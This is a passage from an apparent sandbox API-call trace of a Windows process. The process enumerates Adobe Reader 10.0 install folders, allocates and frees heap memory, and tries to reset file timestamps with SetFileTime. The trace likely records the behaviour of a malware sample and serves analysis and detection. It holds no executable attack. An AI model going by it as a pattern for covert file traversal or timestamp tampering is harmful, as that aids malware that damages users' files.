BaseAddress=0x11fe458) returned 1 [0081.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200db8 [0081.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b060 [0081.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.108] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4318, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeRUM.htm", cAlternateFileName="")) returned 1 [0081.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200dd8 [0081.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b0e8 [0081.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.111] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4872, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeRUS.htm", cAlternateFileName="")) returned 1 [0081.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200df8 [0081.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b170 [0081.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.112] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeSKY.htm", cAlternateFileName="")) returned 1 [0081.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200e18 [0081.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b1f8 [0081.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.113] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4995, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeUKR.htm", cAlternateFileName="")) returned 1 [0081.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200e38 [0081.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b280 [0081.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.115] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 1 [0081.115] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup Files", cAlternateFileName="")) returned 1 [0081.115] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vigtigt.htm", cAlternateFileName="")) returned 1 [0081.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.115] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.115] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200e58 [0081.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b308 [0081.116] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.116] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viktig.htm", cAlternateFileName="")) returned 1 [0081.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.116] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.116] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200e78 [0081.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b390 [0081.117] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.117] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4214, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viktigt.htm", cAlternateFileName="")) returned 1 [0081.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.117] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1200e98 [0081.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b418 [0081.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.118] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4214, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viktigt.htm", cAlternateFileName="")) returned 0 [0081.118] GetLastError () returned 0x12 [0081.118] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0081.119] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0081.119] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.119] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4268, dwReserved0=0x0, dwReserved1=0x0, cFileName="Benioku.htm", cAlternateFileName="")) returned 1 [0081.119] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Berime.htm", cAlternateFileName="")) returned 1 [0081.119] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Esl", cAlternateFileName="")) returned 1 [0081.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.119] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\esl"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.119] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\esl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0081.120] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0081.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258d90 [0081.120] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258d90, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1258d90, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0081.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258d90) returned 1 [0081.120] NtClose (Handle=0x15c) returned 0x0 [0081.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b4a0 [0081.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0081.121] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0081.121] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.121] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19798, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 1 [0081.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0081.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0081.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0081.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0081.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0081.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0081.122] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19798, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 0 [0081.122] GetLastError () returned 0x12 [0081.122] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0081.122] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0081.122] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.122] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19798, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 1 [0081.122] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19798, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 0 [0081.122] GetLastError () returned 0x12 [0081.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0081.122] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b4a0) returned 1 [0081.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.123] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4288, dwReserved0=0x0, dwReserved1=0x0, cFileName="IrakHau.htm", cAlternateFileName="")) returned 1 [0081.123] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x423b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Leame.htm", cAlternateFileName="")) returned 1 [0081.123] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="LeesMij.htm", cAlternateFileName="")) returned 1 [0081.123] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4289, dwReserved0=0x0, dwReserved1=0x0, cFileName="Leggimi.htm", cAlternateFileName="")) returned 1 [0081.123] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4273, dwReserved0=0x0, dwReserved1=0x0, cFileName="LeiaMe.htm", cAlternateFileName="")) returned 1 [0081.123] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Liesmich.htm", cAlternateFileName="")) returned 1 [0081.123] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f82a560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lisezmoi.htm", cAlternateFileName="")) returned 1 [0081.123] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Llegiu-me.htm", cAlternateFileName="")) returned 1 [0081.123] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x434e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LueMinut.htm", cAlternateFileName="")) returned 1 [0081.123] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: 